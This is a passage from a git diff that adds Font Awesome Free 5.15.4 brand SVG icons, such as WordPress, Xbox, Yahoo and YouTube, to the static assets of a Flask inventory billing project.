7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wordpress-simple.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wordpress-simple.svg new file mode 100644 index 00000000..56cbb582 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wordpress-simple.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wordpress.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wordpress.svg new file mode 100644 index 00000000..4f246fdf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wordpress.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpbeginner.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpbeginner.svg new file mode 100644 index 00000000..fefc214a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpbeginner.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpexplorer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpexplorer.svg new file mode 100644 index 00000000..00386e26 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpexplorer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpforms.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpforms.svg new file mode 100644 index 00000000..1c3467c1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpforms.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpressr.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpressr.svg new file mode 100644 index 00000000..14e183db --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/wpressr.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/xbox.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/xbox.svg new file mode 100644 index 00000000..14720ed1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/xbox.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/xing-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/xing-square.svg new file mode 100644 index 00000000..a94fb57f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/xing-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/xing.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/xing.svg new file mode 100644 index 00000000..45226ba8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/xing.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/y-combinator.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/y-combinator.svg new file mode 100644 index 00000000..47bf2f94 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/y-combinator.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yahoo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yahoo.svg new file mode 100644 index 00000000..25f84714 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yahoo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yammer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yammer.svg new file mode 100644 index 00000000..1591f6d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yammer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M421.78 152.17A23.06 23.06 0 0 0 400.9 112c-.83.43-1.71.9-2.63 1.4-15.25 8.4-118.33 80.62-106.69 88.77s82.04-23.61 130.2-50zm0 217.17c-48.16-26.38-118.64-58.1-130.2-50s91.42 80.35 106.69 88.74c.92.51 1.8 1 2.63 1.41a23.07 23.07 0 0 0 20.88-40.15zM464.21 237c-.95 0-1.95-.06-3-.06-17.4 0-142.52 13.76-136.24 26.51s83.3 18.74 138.21 18.76a23 23 0 0 0 1-45.21zM31 96.65a24.88 24.88 0 0 1 46.14-18.4l81 205.06h1.21l77-203.53a23.52 23.52 0 0 1 44.45 15.27L171.2 368.44C152.65 415.66 134.08 448 77.91 448a139.67 139.67 0 0 1-23.81-1.95 21.31 21.31 0 0 1 6.9-41.77c.66.06 10.91.66 13.86.66 30.47 0 43.74-18.94 58.07-59.41z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yandex-international.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yandex-international.svg new file mode 100644 index 00000000..83ea238c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yandex-international.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yandex.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yandex.svg new file mode 100644 index 00000000..37f4ee5b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yandex.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yarn.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yarn.svg new file mode 100644 index 00000000..3ffa4c2a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yarn.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yelp.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yelp.svg new file mode 100644 index 00000000..c6f3a496 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yelp.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yoast.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yoast.svg new file mode 100644 index 00000000..3210c657 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/yoast.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/youtube-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/youtube-square.svg new file mode 100644 index 00000000..3b27a352 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/youtube-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 